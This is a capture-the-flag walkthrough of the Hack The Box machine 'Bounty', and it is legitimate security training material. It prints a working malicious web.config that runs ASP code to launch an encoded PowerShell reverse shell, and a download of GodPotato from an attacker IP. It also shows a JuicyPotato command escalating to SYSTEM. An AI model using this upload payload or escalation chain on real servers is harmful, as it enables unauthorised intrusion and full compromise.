
HTB: Bounty
One open port and a picture of a wizard. An upload page that rejects everything except a web config, which IIS will happily execute, and the impersonate privilege on the service account turns that foothold into SYSTEM.
Starting things off with an nmap scan we can see all we have is port 80 with a site hosted on it.

It's an IIS box with just a picture of a wizard on the front.

Let's save that picture to our work folder and run exiftool on it.
exiftool merlin.jpg

There's some stuff in here that made me think steganography at first, but it's all just leftover Photoshop metadata. Dead end, so let's enumerate the site properly instead.
feroxbuster -u http://10.129.98.146/ \
-x aspx,html,txt,pdf,config,conf,bak,zip,xml,ps1 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

We find a transfer page we can land on, plus the directory where uploads end up. That pair is the whole box: somewhere to upload, and somewhere the uploaded file is served from.
Most extensions get rejected, but IIS will happily execute a web config file. Let's upload one with a reverse shell inside it.

We get an error on the first attempt.

After a bunch of trial and error, the fix turns out to be dropping the access policy attribute from the handler. With that gone the file uploads and executes. Here's the config that worked.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<% Response.write("-"&"->") %>
<%
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("cmd.exe /c powershell -nop -w hidden -enc <base64 payload>")
%>
<% Response.write("<-"&"-") %>
The two blocks are doing separate jobs. The XML tells IIS to hand any config file to the classic ASP processor and strips the filters that would normally block it. The ASP below the closing tag is what actually runs, and it sits outside the XML so the parser ignores it while the ASP engine still executes it.
nc -lnvp 443

We get a shell. Let's check our permissions.
whoami /all

We have the impersonate privilege, which on a service account is the classic route to SYSTEM. Let's bring over a potato and let it rip.
(New-Object Net.WebClient).DownloadFile('http://10.10.14.211/GodPotato-NET4.exe','gp.exe')

That one doesn't work on this machine. It's an older Windows build than the tool targets, so we grab JuicyPotato instead, which suits this vintage.
.\jp.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c powershell -nop -w hidden -enc <base64 payload>" -t * -c "{4991D34B-80A1-4291-83B6-3328366B9097}"

That gets us a shell as the system account.
nc -lnvp 445

Looking for the user flag on the merlin desktop we don't find any file there.

The desktop listing comes back empty because the file is hidden from a plain directory listing, not because it isn't there. Reading it by full path works fine. So we head over to the administrator desktop for the root flag, then pull the user flag by naming it directly.
type C:\Users\Administrator\Desktop\root.txt
type C:\Users\merlin\Desktop\user.txt

This box was pretty easy. That first web config file was the hardest part. I couldn't figure it out until I started removing bits and pieces.
